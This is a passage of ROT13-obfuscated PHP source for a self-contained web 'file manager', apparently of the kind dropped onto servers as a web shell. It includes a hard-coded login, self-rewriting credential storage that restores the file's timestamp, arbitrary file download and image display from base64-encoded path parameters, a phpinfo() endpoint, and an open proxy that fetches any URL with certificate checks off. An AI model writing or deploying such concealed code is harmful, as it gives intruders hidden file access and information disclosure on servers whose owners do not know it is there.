	} ryfrvs (fhofge($yvax,0,4)=='uggc') {
		//nyyrf znpura jhaqrefpuba
	} ryfr {
		$yvax = $ubfg.$yvax;
	} 
	vs ($zngpurf[1]=='uers' && !fgeevcbf($yvax, 'pff')) {
		$onfr = sz_fvgr_hey().'/'.onfranzr(__SVYR__);
		$onfrd = $onfr.'?cebkl=gehr&hey=';
		$yvax = $onfrd.heyrapbqr($yvax);
	} ryfrvs (fgeevcbf($yvax, 'pff')){
		//как-то тоже подменять надо
	}
	erghea $zngpurf[1].'="'.$yvax.'"';
}
 
shapgvba sz_gcy_sbez($yat_gcy) {
	tybony ${$yat_gcy.'_grzcyngrf'};
	$gcy_nee = wfba_qrpbqr(${$yat_gcy.'_grzcyngrf'},gehr);
	$fge = '';
	sbernpu ($gcy_nee nf $xgcy=>$igcy) {
		$fge .= '<ge><gq pynff="ebj1"><vachg anzr="'.$yat_gcy.'_anzr[]" inyhr="'.$xgcy.'"></gq><gq pynff="ebj2 jubyr"><grkgnern anzr="'.$yat_gcy.'_inyhr[]"  pbyf="55" ebjf="5" pynff="grkgnern_vachg">'.$igcy.'</grkgnern> <vachg anzr="qry_'.enaq().'" glcr="ohggba" baPyvpx="guvf.cneragAbqr.cneragAbqr.erzbir();" inyhr="'.__('Qryrgr').'"/></gq></ge>';
	}
erghea '
<gnoyr>
<ge><gu pbyfcna="2">'.fgegbhccre($yat_gcy).' '.__('grzcyngrf').' '.sz_eha_vachg($yat_gcy).'</gu></ge>
<sbez zrgubq="cbfg" npgvba="">
<vachg glcr="uvqqra" inyhr="'.$yat_gcy.'" anzr="gcy_rqvgrq">
<ge><gq pynff="ebj1">'.__('Anzr').'</gq><gq pynff="ebj2 jubyr">'.__('Inyhr').'</gq></ge>
'.$fge.'
<ge><gq pbyfcna="2" pynff="ebj3"><vachg anzr="erf" glcr="ohggba" baPyvpx="qbphzrag.ybpngvba.uers = \''.sz_hey().'?sz_frggvatf=gehr\';" inyhr="'.__('Erfrg').'"/> <vachg glcr="fhozvg" inyhr="'.__('Fnir').'" ></gq></ge>
</sbez>
<sbez zrgubq="cbfg" npgvba="">
<vachg glcr="uvqqra" inyhr="'.$yat_gcy.'" anzr="gcy_rqvgrq">
<ge><gq pynff="ebj1"><vachg anzr="'.$yat_gcy.'_arj_anzr" inyhr="" cynprubyqre="'.__('Arj').' '.__('Anzr').'"></gq><gq pynff="ebj2 jubyr"><grkgnern anzr="'.$yat_gcy.'_arj_inyhr"  pbyf="55" ebjf="5" pynff="grkgnern_vachg" cynprubyqre="'.__('Arj').' '.__('Inyhr').'"></grkgnern></gq></ge>
<ge><gq pbyfcna="2" pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Nqq').'" ></gq></ge>
</sbez>
</gnoyr>
';
}

shapgvba svaq_grkg_va_svyrf($qve, $znfx, $grkg) {
    $erfhygf = neenl();
    vs ($unaqyr = bcraqve($qve)) {
        juvyr (snyfr !== ($ragel = ernqqve($unaqyr))) {
            vs ($ragel != "." && $ragel != "..") {
                $cngu = $qve . "/" . $ragel;
                vs (vf_qve($cngu)) {
                    $erfhygf = neenl_zretr($erfhygf, svaq_grkg_va_svyrf($cngu, $znfx, $grkg));
                } ryfr {
                    vs (sazngpu($znfx, $ragel)) {
                        $pbagragf = svyr_trg_pbagragf($cngu);
                        vs (fgecbf($pbagragf, $grkg) !== snyfr) {
                            $erfhygf[] = fge_ercynpr('//', '/', $cngu);
                        }
                    }
                }
            }
        }
        pybfrqve($unaqyr);
    }
    erghea $erfhygf;
}


/* Raq Shapgvbaf */

// nhgubevmngvba
vs ($nhgu['nhgubevmr']) {
	vs (vffrg($_CBFG['ybtva']) && vffrg($_CBFG['cnffjbeq'])){
		vs (($_CBFG['ybtva']==$nhgu['ybtva']) && ($_CBFG['cnffjbeq']==$nhgu['cnffjbeq'])) {
			frgpbbxvr($nhgu['pbbxvr_anzr'], $nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']), gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
			$_PBBXVR[$nhgu['pbbxvr_anzr']]=$nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']);
		}
	}
	vs (!vffrg($_PBBXVR[$nhgu['pbbxvr_anzr']]) BE ($_PBBXVR[$nhgu['pbbxvr_anzr']]!=$nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']))) {
		rpub '
<!qbpglcr ugzy>
<ugzy>
<urnq>
<zrgn punefrg="hgs-8" />
<zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1" />
<gvgyr>'.__('Svyr znantrek').'</gvgyr>
</urnq>
<obql>
<sbez npgvba="" zrgubq="cbfg">
'.__('Ybtva').' <vachg anzr="ybtva" glcr="grkg">&aofc;&aofc;&aofc;
'.__('Cnffjbeq').' <vachg anzr="cnffjbeq" glcr="cnffjbeq">&aofc;&aofc;&aofc;
<vachg glcr="fhozvg" inyhr="'.__('Ragre').'" pynff="sz_vachg">
</sbez>
'.sz_ynat_sbez($ynathntr).'
</obql>
</ugzy>
';  
qvr();
	}
	vs (vffrg($_CBFG['dhvg'])) {
		hafrg($_PBBXVR[$nhgu['pbbxvr_anzr']]);
		frgpbbxvr($nhgu['pbbxvr_anzr'], '', gvzr() - (86400 * $nhgu['qnlf_nhgubevmngvba']));
		urnqre('Ybpngvba: '.sz_fvgr_hey().$_FREIRE['ERDHRFG_HEV']);
	}
}

// Punatr pbasvt
vs (vffrg($_TRG['sz_frggvatf'])) {
	vs (vffrg($_TRG['sz_pbasvt_qryrgr'])) { 
		hafrg($_PBBXVR['sz_pbasvt']);
		frgpbbxvr('sz_pbasvt', '', gvzr() - (86400 * $nhgu['qnlf_nhgubevmngvba']));
		urnqre('Ybpngvba: '.sz_hey().'?sz_frggvatf=gehr');
		rkvg(0);
	}	ryfrvs (vffrg($_CBFG['sz_pbasvt'])) { 
		$sz_pbasvt = $_CBFG['sz_pbasvt'];
		frgpbbxvr('sz_pbasvt', frevnyvmr($sz_pbasvt), gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
		$_PBBXVR['sz_pbasvt'] = frevnyvmr($sz_pbasvt);
		$zft = __('Frggvatf').' '.__('qbar');
	}	ryfrvs (vffrg($_CBFG['sz_ybtva'])) { 
		vs (rzcgl($_CBFG['sz_ybtva']['nhgubevmr'])) $_CBFG['sz_ybtva'] = neenl('nhgubevmr' => '0') + $_CBFG['sz_ybtva'];
		$sz_ybtva = wfba_rapbqr($_CBFG['sz_ybtva']);
		$stp = svyr_trg_pbagragf(__SVYR__);
		$frnepu = cert_zngpu('#nhgubevmngvba[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
		vs (!rzcgl($zngpurf[1])) {
			$svyrzgvzr = svyrzgvzr(__SVYR__);
			$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$sz_ybtva,$stp);
			vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
				$zft .= __('Svyr hcqngrq');
				vs ($_CBFG['sz_ybtva']['ybtva'] != $nhgu['ybtva']) $zft .= ' '.__('Ybtva').': '.$_CBFG['sz_ybtva']['ybtva'];
				vs ($_CBFG['sz_ybtva']['cnffjbeq'] != $nhgu['cnffjbeq']) $zft .= ' '.__('Cnffjbeq').': '.$_CBFG['sz_ybtva']['cnffjbeq'];
				$nhgu = $_CBFG['sz_ybtva'];
			}
			ryfr $zft .= __('Reebe bppheerq');
			vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
		}
	} ryfrvs (vffrg($_CBFG['gcy_rqvgrq'])) { 
		$yat_gcy = $_CBFG['gcy_rqvgrq'];
		vs (!rzcgl($_CBFG[$yat_gcy.'_anzr'])) {
			$sz_cuc = wfba_rapbqr(neenl_pbzovar($_CBFG[$yat_gcy.'_anzr'],$_CBFG[$yat_gcy.'_inyhr']),WFBA_URK_NCBF);
		} ryfrvs (!rzcgl($_CBFG[$yat_gcy.'_arj_anzr'])) {
			$sz_cuc = wfba_rapbqr(wfba_qrpbqr(${$yat_gcy.'_grzcyngrf'},gehr)+neenl($_CBFG[$yat_gcy.'_arj_anzr']=>$_CBFG[$yat_gcy.'_arj_inyhr']),WFBA_URK_NCBF);
		}
		vs (!rzcgl($sz_cuc)) {
			$stp = svyr_trg_pbagragf(__SVYR__);
			$frnepu = cert_zngpu('#'.$yat_gcy.'_grzcyngrf[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
			vs (!rzcgl($zngpurf[1])) {
				$svyrzgvzr = svyrzgvzr(__SVYR__);
				$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$sz_cuc,$stp);
				vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
					${$yat_gcy.'_grzcyngrf'} = $sz_cuc;
					$zft .= __('Svyr hcqngrq');
				} ryfr $zft .= __('Reebe bppheerq');
				vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
			}	
		} ryfr $zft .= __('Reebe bppheerq');
	}
}

// Whfg fubj vzntr
vs (vffrg($_TRG['vzt'])) {
	$svyr=onfr64_qrpbqr($_TRG['vzt']);
	vs ($vasb=trgvzntrfvmr($svyr)){
		fjvgpu  ($vasb[2]){	//1=TVS, 2=WCT, 3=CAT, 4=FJS, 5=CFQ, 6=OZC
			pnfr 1: $rkg='tvs'; oernx;
			pnfr 2: $rkg='wcrt'; oernx;
			pnfr 3: $rkg='cat'; oernx;
			pnfr 6: $rkg='ozc'; oernx;
			qrsnhyg: qvr();
		}
		urnqre("Pbagrag-glcr: vzntr/$rkg");
		rpub svyr_trg_pbagragf($svyr);
		qvr();
	}
}

// Whfg qbjaybnq svyr
vs (vffrg($_TRG['qbjaybnq'])) {
	$svyr=onfr64_qrpbqr($_TRG['qbjaybnq']);
	sz_qbjaybnq($svyr);	
}

// Whfg fubj vasb
vs (vffrg($_TRG['cucvasb'])) {
	cucvasb(); 
	qvr();
}

// Zvav cebkl, znal ohtf!
vs (vffrg($_TRG['cebkl']) && (!rzcgl($sz_pbasvt['ranoyr_cebkl']))) {
	$hey = vffrg($_TRG['hey'])?heyqrpbqr($_TRG['hey']):'';
	$cebkl_sbez = '
<qvi fglyr="cbfvgvba:eryngvir;m-vaqrk:100500;onpxtebhaq: yvarne-tenqvrag(gb obggbz, #r4s5sp 0%,#osr8s9 50%,#9sq8rs 51%,#2no0rq 100%);">
	<sbez npgvba="" zrgubq="TRG">
	<vachg glcr="uvqqra" anzr="cebkl" inyhr="gehr">
	'.sz_ubzr().' <n uers="'.$hey.'" gnetrg="_oynax">Hey</n>: <vachg glcr="grkg" anzr="hey" inyhr="'.$hey.'" fvmr="55">
	<vachg glcr="fhozvg" inyhr="'.__('Fubj').'" pynff="sz_vachg">
	</sbez>
</qvi>
';
	vs ($hey) {
		$pu = phey_vavg($hey);
		phey_frgbcg($pu, PHEYBCG_HFRENTRAG, 'Qra1kkk grfg cebkl');
		phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, 1);
		phey_frgbcg($pu, PHEYBCG_FFY_IREVSLUBFG,0);
		phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE,0);
		phey_frgbcg($pu, PHEYBCG_URNQRE, 0);
		phey_frgbcg($pu, PHEYBCG_ERSRERE, $hey);
		phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE,gehr);
		$erfhyg = phey_rkrp($pu);
		phey_pybfr($pu);
		//$erfhyg = cert_ercynpr('#(fep)=["\'][uggc://]?([^:]*)["\']#Hv', '\\1="'.$hey.'/\\2"', $erfhyg);
		$erfhyg = cert_ercynpr_pnyyonpx('#(uers|fep)=["\'][uggc://]?([^:]*)["\']#Hv', 'sz_hey_cebkl', $erfhyg);
		$erfhyg = cert_ercynpr('%(<obql.*?>)%v', '$1'.'<fglyr>'.sz_ubzr_fglyr().'</fglyr>'.$cebkl_sbez, $erfhyg);
		rpub $erfhyg;
		qvr();
	} 
}
?>
<!qbpglcr ugzy>
<ugzy>
<urnq>     
	<zrgn punefrg="hgs-8" />
	<zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1" />
    <gvgyr><?=__('Svyr znantre')?></gvgyr>
<fglyr>
obql {
	onpxtebhaq-pbybe:	juvgr;
	sbag-snzvyl:		Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	sbag-fvmr:			8cg;
	znetva:				0ck;
}

n:yvax, n:npgvir, n:ivfvgrq { pbybe: #006699; grkg-qrpbengvba: abar; }
n:ubire { pbybe: #QQ6900; grkg-qrpbengvba: haqreyvar; }
n.gu:yvax { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:npgvir { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:ivfvgrq { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:ubire {  pbybe: #SSN34S; grkg-qrpbengvba: haqreyvar; }

gnoyr.ot {
	onpxtebhaq-pbybe: #NPOOP6
}

gu, gq { 
	sbag:	abezny 8cg Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	cnqqvat: 3ck;
}

gu	{
	urvtug:				25ck;
	onpxtebhaq-pbybe:	#006699;
	pbybe:				#SSN34S;
	sbag-jrvtug:		obyq;
	sbag-fvmr:			11ck;
}

.ebj1 {
	onpxtebhaq-pbybe:	#RSRSRS;
}

.ebj2 {
	onpxtebhaq-pbybe:	#QRR3R7;
}

.ebj3 {
	onpxtebhaq-pbybe:	#Q1Q7QP;
	cnqqvat: 5ck;
}

ge.ebj1:ubire {
	onpxtebhaq-pbybe:	#S3SPSP;
}

ge.ebj2:ubire {
	onpxtebhaq-pbybe:	#S0S6S6;
}

.jubyr {
	jvqgu: 100%;
}

.nyy gobql gq:svefg-puvyq{jvqgu:100%;}

grkgnern {
	sbag: 9cg 'Pbhevre Arj', pbhevre;
	yvar-urvtug: 125%;
	cnqqvat: 5ck;
}

.grkgnern_vachg {
	urvtug: 1rz;
}

.grkgnern_vachg:sbphf {
	urvtug: nhgb;
}

vachg[glcr=fhozvg]{
	onpxtebhaq: #SPSPSP abar !vzcbegnag;
	phefbe: cbvagre;
}

.sbyqre {
    onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,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");
}

.svyr {
    onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,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